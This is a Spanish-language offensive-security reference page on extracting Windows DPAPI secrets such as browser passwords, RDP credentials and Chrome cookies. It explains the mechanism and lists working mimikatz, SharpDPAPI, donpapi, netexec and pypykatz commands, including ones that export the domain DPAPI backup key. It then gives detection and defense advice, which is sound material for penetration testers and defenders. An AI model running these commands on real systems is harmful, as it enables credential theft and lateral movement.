the_open_door
café
ESEN
← Volver al índice

DPAPI Secrets

ATT&CKT1555
Arsenal completo de comandos en la cheatsheet

DPAPI (Data Protection API) es el mecanismo con el que Windows cifra secretos "por usuario": contraseñas del navegador, credenciales guardadas de RDP, claves WiFi, entradas del Administrador de credenciales, cookies de Chrome. Extraer esos secretos es a menudo la vía para saltar de un usuario a otro o encontrar credenciales de dominio olvidadas en un perfil.

Por qué funciona. DPAPI cifra cada secreto (blob) con una clave maestra propia del usuario, que a su vez se protege con un hash derivado de su contraseña. Si controlamos la sesión del usuario, Windows descifra por nosotros de forma transparente; si solo tenemos sus ficheros, necesitamos su clave maestra, que se obtiene de su contraseña/hash, de la memoria de LSASS, o de la clave de respaldo de DPAPI del dominio (que guarda el DC y descifra las de cualquier usuario).

El abuso. Se localizan los blobs y las master keys en el perfil y se descifran con mimikatz, pypykatz, SharpDPAPI o, por red, con netexec.

dir /a "%APPDATA%\Microsoft\Protect\<SID>"          :: master keys del usuario
dir /a "%APPDATA%\Microsoft\Credentials"            :: credential blobs
dir /a "%LOCALAPPDATA%\Microsoft\Credentials"

Con mimikatz (con sesión del usuario, o con su contraseña/hash):

dpapi::masterkey /in:"%APPDATA%\Microsoft\Protect\<SID>\<guid>" /sid:<SID> /password:<pass>
dpapi::masterkey /in:"%APPDATA%\Microsoft\Protect\<SID>\<guid>" /rpc      # pedir la clave al DC
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\<blob>"
dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect
lsadump::backupkeys /system:<dc> /export             # clave de respaldo del dominio (siendo DA)

Con herramientas (Windows y por red):

SharpDPAPI.exe triage                                # todos los blobs del usuario actual
SharpDPAPI.exe backupkey /server:<dc> /file:key.pvk  # exportar la backup key del dominio
donpapi -u <user> -p <pass> -d <domain> <ip>         # recolectar y descifrar en masa por red
netexec smb <ip> -u <user> -p <pass> --dpapi
netexec smb <ip> -u <user> -p <pass> --dpapi cookies
pypykatz dpapi masterkey <masterkeyfile> --key <sha1>
pypykatz dpapi cred <masterkeyfile> <credfile>       # offline con blobs ya recolectados

Requisitos. Hace falta la clave maestra del usuario (vía su contraseña/hash, la memoria de LSASS, o la clave de respaldo del dominio si somos DA). Sin la master key, el blob es opaco. El valor está en lo que guarda cada perfil: navegadores, RDP, y credenciales de servicio.

Cómo detectarlo. Es una técnica sigilosa (usa APIs legítimas), pero deja rastro en el acceso masivo a los ficheros de ...\Microsoft\Protect\ y ...\Microsoft\Credentials\ de uno o varios usuarios, sobre todo si lo hace un proceso o una cuenta que no es la dueña del perfil. En dominio, la lectura de la clave de respaldo de DPAPI desde el DC es un evento de altísimo valor que conviene auditar.

Defensa. Proteger LSASS (Credential Guard) para que no se filtren claves maestras, limitar quién puede leer la clave de respaldo de DPAPI del dominio, y reducir los secretos almacenados (no guardar contraseñas en navegadores ni credenciales de RDP en equipos compartidos). Se apoya en un volcado de LSASS y alimenta la caza de credenciales y la reutilización de credenciales.

HerramientasmimikatzpypykatzLaZagneSharpDPAPIDonPAPI